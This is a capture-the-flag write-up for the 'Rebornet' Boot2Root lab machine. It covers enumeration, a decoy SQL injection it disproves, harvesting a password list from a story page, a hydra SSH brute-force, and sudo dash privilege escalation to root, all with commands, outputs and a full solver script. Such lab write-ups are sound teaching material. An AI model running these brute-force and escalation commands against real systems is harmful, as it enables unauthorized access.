N
Back to writeup archive
LIGA CTF 2026 (Week 2 Boot2Root)

Rebornet

Rebornet is a Boot2Root machine exposing three services: anonymous FTP (vsftpd), SSH (OpenSSH 8.2p1), and HTTP (Apache 2.4.41). The objective is to obtain a root shell and read the flag in OWASPKL{} format.

Boot2RootMarkdown + PDFMediumsolved4 minread·839words
route
/TryN3rr0r/writeups/liga-ctf-2026-week-2-boot2root/rebornet
archive index
13 / 16
read mode
parsed markdown
Writeup loaded.

Rebornet

challenge brief
target profile, scoring, and execution stack
verified solve
target
192.168.1.23 (live host) + anonymous FTP loot: Mainframe.pdf, hint.txt
category
Boot2Root
points
— (live challenge)
difficulty
Medium
flag format
OWASPKL{xxx}
tools used
nmapwgetftpbase64exiftoolpdfdetachpdftotextpdfidmutoolbinwalksteghidestegseekcurlgobustersqlmaphydrasshpasssshdash
final flag
OWASPKL{N1c3_t0_m33t_y0u}
reveal and copy from section 5
PDF evidence frame 01

1. Challenge Overview

Rebornet is a Boot2Root machine exposing three services: anonymous FTP (vsftpd), SSH (OpenSSH 8.2p1), and HTTP (Apache 2.4.41). The objective is to obtain a root shell and read the flag in OWASPKL{} format.

The challenge is built around a layered OSINT trail with several deliberate rabbit holes:

The FTP files (hint.txt, Mainframe.pdf) are decoys (a base64 Rickroll and a legitimate Micro Focus brochure).

A virtual host mainframe.local exposes a fake SQL injection (password.php) that is purely cosmetic — it only echos a fake MySQL warning, causing sqlmap to false-positive.

A breadcrumb directory chain leads to a GitHub Pages "tale" whose leetspeak prose doubles as a custom password wordlist.

A second decoy flag AE13{...} (wrong format) is hidden in the GitHub HTML to mislead.

The intended path is: OSINT story → leetspeak wordlist → SSH brute → sudo dash privilege escalation (GTFOBins) → root.

2. Initial Reconnaissance

2.1 Provided nmap (port scan)

bash1 lines
1nmap -sV -p- 192.168.1.23
bash10 lines
1PORT   STATE SERVICE VERSION221/tcp open  ftp     vsftpd 2.0.8 or later3| ftp-anon: Anonymous FTP login allowed (FTP code 230)4| -rw-r--r--    1 0  0  640884 Aug 06  2023 Mainframe.pdf5|_-rw-r--r--    1 0  0    2429 Aug 06  2023 hint.txt622/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)780/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))8|_http-title: Apache2 Ubuntu Default Page: It works9MAC Address: 00:0C:29:6D:A3:70 (VMware)10Service Info: OS: Linux

2.2 Pull anonymous FTP loot

bash3 lines
1cd "/home/nopalinto/Downloads/CTF Kilo/Rebornet/loot"2wget -q "ftp://anonymous:anonymous@192.168.1.23/hint.txt" -O hint.txt3wget -q "ftp://anonymous:anonymous@192.168.1.23/Mainframe.pdf" -O Mainframe.pdf

2.3 hint.txt is a base64 Rickroll (DECOY)

bash1 lines
1base64 -d hint.txt | head -5
bash5 lines
1We're no strangers to love2You know the rules and so do I (do I)3A full commitment's what I'm thinking of4You wouldn't get this from any other guy5I just wanna tell you how I'm feeling
PDF evidence frame 02

3. Analysis / Forensics Path

3.1 Mainframe.pdf triage (DECOY)

The "Have you ever read a tale?" description and the PDF strongly suggested forensics/stego. I exhausted that path and confirmed it was a dead end:

bash5 lines
1exiftool Mainframe.pdf          # legit Adobe InDesign 15.1 brochure, no anomalies2pdfdetach -list Mainframe.pdf   # 0 embedded files3pdfid Mainframe.pdf             # /JS 0  /JavaScript 0  /OpenAction 0  /EmbeddedFile 04binwalk Mainframe.pdf           # nothing appended5pdftotext Mainframe.pdf -       # genuine Micro Focus "Modern Mainframe Access" whitepaper

Two JPEGs are embedded in the PDF (mutool extract). steghide reports capacity, but both the curated passphrase list and a full stegseek + rockyou.txt run failed — confirming the images are not the path:

bash4 lines
1mutool extract Mainframe.pdf            # -> image-0013.jpg, image-0111.jpg + fonts2steghide info image-0013.jpg -p ""      # capacity 13.7 KB, "could not extract"3stegseek image-0013.jpg /usr/share/wordlists/rockyou.txt4# [!] error: Could not find a valid passphrase.

Conclusion: FTP loot is entirely decoy. Pivot to the web service.

3.2 Web enumeration → virtual host discovery

bash2 lines
1gobuster dir -u http://192.168.1.23/ -w /usr/share/wordlists/dirb/common.txt \2  -x php,html,txt,zip,bak -t 50 -q
bash3 lines
1home.html            (Status: 200) [Size: 236]2img                  (Status: 301) [--> http://192.168.1.23/img/]3index.html           (Status: 200) [Size: 10960]

home.html leaks a vhost:

bash1 lines
1curl -s http://192.168.1.23/home.html
bash2 lines
1<p>This website is under maintenance, soon will be on live back.</p>2<p>In the meantime, please go to <a href="http://mainframe.local">mainframe.local</a> to visit backup website.</p>
bash1 lines
1echo "192.168.1.23 mainframe.local" | sudo tee -a /etc/hosts

3.3 vhost enumeration + robots.txt breadcrumbs

bash2 lines
1gobuster dir -u http://mainframe.local/ -w /usr/share/wordlists/dirb/common.txt \2  -x php,html,txt,zip,bak -t 50 -q
bash6 lines
1index.html.bak       (Status: 200) [Size: 180]2login.php            (Status: 200) [Size: 0]3password.php         (Status: 200) [Size: 0]4robots.txt           (Status: 200) [Size: 307]5secret               (Status: 301) [--> http://mainframe.local/secret/]6logs                 (Status: 301) [--> http://mainframe.local/logs/]
bash1 lines
1curl -s http://mainframe.local/robots.txt
bash5 lines
1Disallow: /chip/      Disallow: /clog/     Disallow: /krypton/2Disallow: /mow/       Disallow: /steam/    Disallow: /password.php?id=23Disallow: /prometheus/  Disallow: /lfg/    Disallow: /logs/4Disallow: /secret/    Disallow: /unityverse/  Disallow: /2434/5Disallow: /search.php Disallow: /login.php Disallow: /_home/
PDF evidence frame 03

3.4 The password.php SQLi is a DECOY

robots.txt advertises /password.php?id=2. Any id returns a fake MySQL warning, and sqlmap even flags it as injectable (boolean-based blind, MySQL). But manual verification proved it is fake:

bash2 lines
1curl -s "http://mainframe.local/password.php?id=1"2# Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in password.php on line 47

id=1' AND 1=1 vs id=1' AND 1=2 -> identical response (same md5, same length 105).

SLEEP(5) injection -> 0.004s (no delay; time-based impossible).

The warning prints for every input (even id=abc), because the legacy mysql_* API is dead in this PHP build, so the query always returns false.

Proof (post-root, reading the source):

php5 lines
1<?php2	if(isset($_GET["id"])){3		echo "Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in password.php on line 47";4	}5?>

The page just echos a hard-coded string. sqlmap false-positived on it. Rabbit hole confirmed.

3.5 Breadcrumb directory chain → GitHub OSINT

Probing the robots.txt dirs, /lfg/ contained a nested chain:

bash1 lines
1/lfg/ -> gohere/ -> alittlebitmore/ -> almostthere/
bash1 lines
1curl -s "http://mainframe.local/lfg/gohere/alittlebitmore/almostthere/"
bash3 lines
1<title>Maintained by Ap0k4L1p5</title>2<img src="img/Ap0k4L1p5.jpg" ...>3<p>Made by Prof. Apokalips</br>ap0k4l1p5.github.io/talesofcred.html</p>

This pivots to OSINT: https://ap0k4l1p5.github.io/talesofcred.html — matching the "read a tale" hint.

PDF evidence frame 04

4. Exploitation / Recovery

4.1 GitHub "tale" = credential wordlist (+ a decoy flag)

The page Echoes of Etherborne Betrayal is a steampunk story. Two key things:

An HTML comment hides a decoy flag: AE13{...} — WRONG format, ignore it.

The prose is littered with leetspeak tokens (mixed letters+digits) that form a custom password list: Eth3rb0rn3, M3tr0p0L15, pr0m3th3U5, r3l3ntl3zZz, 3nIgm4T1c, Un17yW34v3r5, etc.

Harvest them automatically:

bash3 lines
1curl -sL "https://ap0k4l1p5.github.io/talesofcred.html" -o tales.html2grep -oE "[A-Za-z0-9'@]{4,}" tales.html | grep -E "[0-9]" | grep -E "[A-Za-z]" \3  | grep -vE "^(9f6c|AE13|js@2)" | sort -u > creds_pw.txt

Username candidates come from the story + robots.txt (apokalips, prometheus, elara, ...):

bash1 lines
1printf "prometheus\nelara\nelarakael\napokalips\nozymandias\narchon\nalaric\nunityweaver\netherweaver\n" > creds_user.txt
PDF evidence frame 05

4.2 SSH brute-force

bash1 lines
1hydra -L creds_user.txt -P creds_pw.txt -t 4 -f ssh://192.168.1.23
bash3 lines
1[22][ssh] host: 192.168.1.23   login: apokalips   password: Un17yW34v3r52[STATUS] attack finished for 192.168.1.23 (valid pair found)31 of 1 target successfully completed, 1 valid password found
PDF evidence frame 06

4.3 Foothold + user flag

bash3 lines
1sshpass -p 'Un17yW34v3r5' ssh -o StrictHostKeyChecking=no apokalips@192.168.1.23 \2  'id; cat ~/user.txt'3# uid=1000(apokalips) ... -> "This is user.txt file. FYI :)"

4.4 Privilege escalation — sudo dash (GTFOBins)

bash1 lines
1echo "Un17yW34v3r5" | sudo -S -l
bash2 lines
1User apokalips may run the following commands on etherborne:2    (ALL) NOPASSWD: /usr/bin/dash

dash runnable as root with NOPASSWD is a textbook GTFOBins escalation:

bash1 lines
1sudo /usr/bin/dash -c 'id; cat /root/.flag.txt'
bash4 lines
1uid=0(root) gid=0(root) groups=0(root)2Here's what you looking for :D34OWASPKL{N1c3_t0_m33t_y0u}
PDF evidence frame 07

4.5 Full solver script

bash30 lines
1#!/usr/bin/env bash2# TryN3rr0r BOOT2ROOT - Rebornet : full solver3set -e4TARGET="192.168.1.23"; VHOST="mainframe.local"5WORK="/home/nopalinto/Downloads/CTF Kilo/Rebornet"; mkdir -p "$WORK/loot"; cd "$WORK"67# 1. Anonymous FTP loot (both files are decoys)8wget -q "ftp://anonymous:anonymous@$TARGET/hint.txt"      -O loot/hint.txt9wget -q "ftp://anonymous:anonymous@$TARGET/Mainframe.pdf" -O loot/Mainframe.pdf10base64 -d loot/hint.txt | head -2          # -> Rickroll (decoy)1112# 2. Map vhost from home.html13grep -q "$VHOST" /etc/hosts || echo "$TARGET $VHOST" | sudo tee -a /etc/hosts1415# 3. Follow robots.txt breadcrumb chain -> GitHub pointer16curl -s "http://$VHOST/lfg/gohere/alittlebitmore/almostthere/" | grep -i github1718# 4. Harvest leetspeak credential wordlist from the OSINT 'tale'19curl -sL "https://ap0k4l1p5.github.io/talesofcred.html" -o tales.html20grep -oE "[A-Za-z0-9'@]{4,}" tales.html | grep -E "[0-9]" | grep -E "[A-Za-z]" \21  | grep -vE "^(9f6c|AE13|js@2)" | sort -u > creds_pw.txt22printf "prometheus\nelara\nelarakael\napokalips\nozymandias\narchon\nalaric\nunityweaver\netherweaver\n" > creds_user.txt2324# 5. Brute SSH -> apokalips:Un17yW34v3r525hydra -L creds_user.txt -P creds_pw.txt -t 4 -f ssh://$TARGET2627# 6. Privesc via sudo NOPASSWD /usr/bin/dash (GTFOBins)28sshpass -p 'Un17yW34v3r5' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \29  apokalips@$TARGET 'sudo /usr/bin/dash -c "id; cat /root/.flag.txt"'30# -> OWASPKL{N1c3_t0_m33t_y0u}

5. Flag

captured flag
OWASPKL{N1c3_t0_m33t_y0u}

Decoy flag to AVOID (wrong format, planted in GitHub HTML comment): AE13{Ss1itiNuRh1da4yah'sLover_@ceeyyahiskhan}.

6. Summary of Approach & Key Takeaways

Step-by-step recap

Recon — nmap showed FTP (anon), SSH, HTTP. Pulled hint.txt (base64 Rickroll) and Mainframe.pdf (legit brochure) from FTP — both decoys.

Forensics dead-ends — Exhausted PDF/stego analysis (exiftool, pdfdetach, binwalk, steghide, stegseek+rockyou) → nothing.

Web — home.html revealed vhost mainframe.local; added to /etc/hosts.

Enumeration — gobuster + robots.txt exposed many dirs and a fake password.php?id=.

Decoy SQLi — Manually disproved the SQLi (identical true/false responses, no SLEEP delay); confirmed post-root that password.php just echoes a fake warning. sqlmap false-positived.

OSINT trail — /lfg/gohere/alittlebitmore/almostthere/ap0k4l1p5.github.io/talesofcred.html.

Wordlist — Harvested leetspeak tokens from the "tale" into a password list; ignored the AE13{} decoy flag.

Foothold — hydra cracked SSH: apokalips:Un17yW34v3r5.

Privesc — sudo -l → NOPASSWD /usr/bin/dash → GTFOBins root shell.

Flag — cat /root/.flag.txtOWASPKL{N1c3_t0_m33t_y0u}.

Key takeaways

Validate scanner findings manually. sqlmap flagged a non-existent injection; the endpoint only printed a hard-coded warning string. Always confirm the oracle (true/false differential, timing) before trusting automated tools.

Match the flag format. The AE13{} string was a deliberate trap; only OWASPKL{} counts.

OSINT is part of the attack surface. The intended creds lived in a GitHub Pages story, reachable only by following nested web breadcrumbs.

Narrative text = wordlists. Leetspeak words in lore are classic custom-dictionary fodder; auto-extract instead of guessing.

Enumerate sudo -l first. A single GTFOBins entry (dash) collapsed the entire privesc to one command.

Don't tunnel-vision on the "themed" path. "Read a tale" pointed at the PDF (decoy); the real tale was the GitHub story.

PDF evidence frame 08
PDF evidence frame 09
PDF evidence frame 10
PDF evidence frame 11
PDF evidence frame 12
PDF evidence frame 13
PDF evidence frame 14
PDF evidence frame 15
PDF evidence frame 16
PDF evidence frame 17
PDF evidence frame 18
PDF evidence frame 19
PDF evidence frame 20